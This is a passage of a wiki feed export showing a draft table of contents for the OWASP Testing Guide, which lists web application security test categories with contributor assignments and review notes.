2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Information Gathering|'''4.2 Information Gathering ''']] [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
Infrastructure Configuration management weakness&amp;lt;br&amp;gt;&lt;br /&gt;
Application Configuration management weakness&amp;lt;br&amp;gt;&lt;br /&gt;
File extensions handling&amp;lt;br&amp;gt;&lt;br /&gt;
Old, backup and unreferenced files&amp;lt;br&amp;gt;&lt;br /&gt;
Access to Admin interfaces&amp;lt;br&amp;gt;&lt;br /&gt;
Bad HTTP Methods enabled, [new]&amp;lt;br&amp;gt;&lt;br /&gt;
Informative Error Messages&amp;lt;br&amp;gt;&lt;br /&gt;
Database credentials/connection strings available&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.4 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
Credentials transport over an unencrypted channel [Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
User enumeration (also Guessable user account) [Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Default passwords [Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Weak lock out mechanism [New! - Robert Winkel] &amp;lt;br&amp;gt;&lt;br /&gt;
Account lockout DoS [New! - Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Bypassing authentication schema&amp;lt;br&amp;gt; &lt;br /&gt;
Vulnerable remember password [Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Browser cache weakness [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Weak password policy [New! - Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Weak username policy [New! - Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Weak security question/answer [New! - Robert Winkel]&amp;lt;br&amp;gt; &lt;br /&gt;
Failure to restrict access to authenticated resource [New!]&amp;lt;br&amp;gt; &lt;br /&gt;
Weak password change function [New! - Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Testing for CAPTCHA&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.5 Session Management Testing''']] &lt;br /&gt;
&lt;br /&gt;
Bypassing Session Management Schema &amp;lt;br&amp;gt;&lt;br /&gt;
Weak Session Token &amp;lt;br&amp;gt;&lt;br /&gt;
Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity&amp;lt;br&amp;gt; &lt;br /&gt;
Exposed sensitive session variables &amp;lt;br&amp;gt;&lt;br /&gt;
CSRF &amp;lt;br&amp;gt;&lt;br /&gt;
Session passed over http [New!] &amp;lt;br&amp;gt;&lt;br /&gt;
Session token within URL [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Session Fixation &amp;lt;br&amp;gt;&lt;br /&gt;
Session token not removed on server after logout [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Persistent session token [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Session token not restrcited properly (such as domain or path not set properly) [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Logout function not properly implemented &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
Bypassing authorization schema &amp;lt;br&amp;gt;&lt;br /&gt;
Directory traversal/file include &amp;lt;br&amp;gt; &lt;br /&gt;
Privilege Escalation [Juan Galiana]&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure Direct Object References &amp;lt;br&amp;gt;&lt;br /&gt;
Failure to Restrict access to authorized resource [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.7 Business Logic Testing  (OWASP-BL-001)''']] [To review--&amp;gt; contributor here]&lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
Reflected XSS &amp;lt;br&amp;gt;&lt;br /&gt;
Stored XSS &amp;lt;br&amp;gt;&lt;br /&gt;
HTTP Verb Tampering [Brad Causey]&amp;lt;br&amp;gt; &lt;br /&gt;
HTTP Parameter pollution [Brad Causey]&amp;lt;br&amp;gt;&lt;br /&gt;
Unvalidated Redirects and Forwards [Brad Causey]&amp;lt;br&amp;gt; &lt;br /&gt;
SQL Injection [Brad Causey]&amp;lt;br&amp;gt;&lt;br /&gt;
LDAP Injection &amp;lt;br&amp;gt;&lt;br /&gt;
ORM Injection &amp;lt;br&amp;gt;&lt;br /&gt;
XML Injection &amp;lt;br&amp;gt;&lt;br /&gt;
SSI Injection &amp;lt;br&amp;gt;&lt;br /&gt;
XPath Injection &amp;lt;br&amp;gt;&lt;br /&gt;
SOAP Injection &amp;lt;br&amp;gt;&lt;br /&gt;
IMAP/SMTP Injection &amp;lt;br&amp;gt;&lt;br /&gt;
Code Injection &amp;lt;br&amp;gt;&lt;br /&gt;
OS Commanding &amp;lt;br&amp;gt;&lt;br /&gt;
Buffer overflow &amp;lt;br&amp;gt;&lt;br /&gt;
Incubated vulnerability &amp;lt;br&amp;gt; &lt;br /&gt;
HTTP Splitting/Smuggling &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Encryption (New!)]]&lt;br /&gt;
&lt;br /&gt;
Application did not use encryption &amp;lt;br&amp;gt;&lt;br /&gt;
Weak SSL/TSL Ciphers, Insufficient &amp;lt;br&amp;gt;&lt;br /&gt;
Transport Layer Protection&amp;lt;br&amp;gt;&lt;br /&gt;
Cacheable HTTPS Response&amp;lt;br&amp;gt;&lt;br /&gt;
Cache directives insecure&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure Cryptographic Storage [mainly CR Guide]&amp;lt;br&amp;gt;&lt;br /&gt;
Sensitive information sent via unencrypted&lt;br /&gt;
channels &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[ XML Interpreter? (New!)]]&lt;br /&gt;
&lt;br /&gt;
Weak XML Structure&lt;br /&gt;
XML content-level&lt;br /&gt;
WS HTTP GET parameters/REST&lt;br /&gt;
WS Naughty SOAP attachments&lt;br /&gt;
WS Replay Testing&lt;br /&gt;
&lt;br /&gt;
[[ Client Side Testing (New!) ]]&lt;br /&gt;
&lt;br /&gt;
DOM XSS&amp;lt;br&amp;gt;&lt;br /&gt;
HTML5 [Juan Galiana]&amp;lt;br/&amp;gt;&lt;br /&gt;
Cross Site Flashing&amp;lt;br&amp;gt;&lt;br /&gt;
ClickHijacking&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro. We need only tools fo webapp testing]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; contributor here]&lt;br /&gt;
* Books [To review--&amp;gt; contributor here]&lt;br /&gt;
* Useful Websites [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
[To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	</feed>